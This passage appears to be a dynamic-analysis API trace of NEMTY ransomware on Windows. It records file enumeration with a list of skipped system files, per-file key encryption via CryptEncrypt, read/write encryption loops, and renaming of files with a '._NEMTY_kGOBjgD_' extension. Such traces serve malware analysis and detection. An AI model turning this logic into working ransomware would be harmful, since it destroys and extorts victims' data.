lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.946] CloseHandle (hObject=0xffffffff) returned 0 [0128.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0128.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0128.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_down.png._nemty_kgobjgd_")) returned 0 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.947] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2=".") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="..") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="...") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="windows") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="$RECYCLE.BIN") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="rsa") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="NTDETECT.COM") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="ntldr") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="MSDOS.SYS") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="IO.SYS") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="boot.ini") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="boot.ini") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="ntuser.dat") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="desktop.ini") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="CONFIG.SYS") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="RECYCLER") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="BOOTSECT.BAK") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="bootmgr") returned 1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="programdata") returned -1 [0128.947] lstrcmpiW (lpString1="graph_over.png", lpString2="appdata") returned 1 [0128.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_over.png", lpUsedDefaultChar=0x0) returned 14 [0128.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_over.png", lpUsedDefaultChar=0x0) returned 14 [0128.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_over.png", lpUsedDefaultChar=0x0) returned 14 [0128.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0128.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_over.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_over.png", lpUsedDefaultChar=0x0) returned 14 [0128.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0128.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0128.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0128.948] Sleep (dwMilliseconds=0x5) [0128.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x83cbd0, dwHighDateTime=0x1d561e8)) [0128.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x83cbd0, dwHighDateTime=0x1d561e8)) [0128.963] GetLastError () returned 0x5 [0128.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.963] GetLastError () returned 0x5 [0128.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0128.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="HXDnrx545zQQulRJTk2owV4qVDysQ0M4aRVpcQ5KkCH6V3oPHVjllxfQeTt8oqky\r\nW1HyuF9jmv1DdtsBc1ZK2dkjCW8QXDZ21fJSX6GelBWlprgF/rFNnpgZqzlvMcpL\r\nZKaZ44CI18LbWLeVzNJouN7lhAe0wKQn9Cctww7J2mf17f+Czqmw1FpPYb3gTxYq\r\nwkbF0TKX+fJTPE8Urn5WiYT7hj8qiZicyorfuSYwpAbAZa89vsLMK4+FxHSKmRVf\r\nCjEDFcZw90WOO6o02M2ocDWdGRCF8lWp8r8PDeukhDdkfrhvmP/6LXRJQtqh8hN2\r\nTwK8mrGi6PREiWQ4/rWrMQ==\r\n", pcchString=0x653e91c) returned 1 [0128.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0128.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0128.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.964] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.964] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.051] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.075] CloseHandle (hObject=0xffffffff) returned 0 [0129.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0129.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0129.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_over.png._nemty_kgobjgd_")) returned 0 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: 